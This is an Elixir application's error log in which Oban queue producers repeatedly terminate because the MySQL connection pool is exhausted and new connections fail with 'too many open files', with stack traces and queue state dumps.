State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:38:51.241270Z], limit: 20, uuid: "c7f1c9d4-af3b-4ecb-80e1-ddc7deb874f7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:51.241275Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.47578>, refresh_timer: #Reference<0.2525715032.1077673987.47567>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:03.245000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:38:51.239864Z], limit: 5, uuid: "95ebb4f3-4a54-454c-9e8f-27b4e32eea6c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:51.239871Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.68941>, refresh_timer: #Reference<0.2525715032.1068498948.68925>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:38:51.240831Z], limit: 3, uuid: "684bf0a3-aea3-4d37-ba5e-61747289d779", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:51.240835Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.68978>, refresh_timer: #Reference<0.2525715032.1068498948.68948>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:03.246000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 807ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:38:51.240441Z], limit: 5, uuid: "d3d4c919-cc24-4f1e-8164-b961885beb4f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:51.240447Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.68942>, refresh_timer: #Reference<0.2525715032.1068498948.68933>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:38:51.240658Z], limit: 10, uuid: "faa27d7b-cbe8-4aef-bf6f-492b5cd97594", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:51.240663Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.47558>, refresh_timer: #Reference<0.2525715032.1077673987.47544>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:04.053000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:08.611000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:10.743000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:11.209000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:15.146000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1093ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:39:03.245477Z], limit: 50, uuid: "498d4ac3-2e5c-41b9-a253-eba456688070", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:03.245487Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.69158>, refresh_timer: #Reference<0.2525715032.1068498948.69103>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:39:03.248124Z], limit: 20, uuid: "49a87b3e-12d0-4e15-a57c-62810b19ee4d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:03.248130Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.69156>, refresh_timer: #Reference<0.2525715032.1121189889.210269>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:39:03.254850Z], limit: 10, uuid: "8dfeec7c-a550-4f70-b93b-c5a5e901d533", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:03.254855Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.69195>, refresh_timer: #Reference<0.2525715032.1068498948.69176>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 887ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:39:03.251905Z], limit: 5, uuid: "d227d3c0-0f24-425c-9fe0-cdd92f114ada", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:03.251912Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.69155>, refresh_timer: #Reference<0.2525715032.1068498948.69151>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:15.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
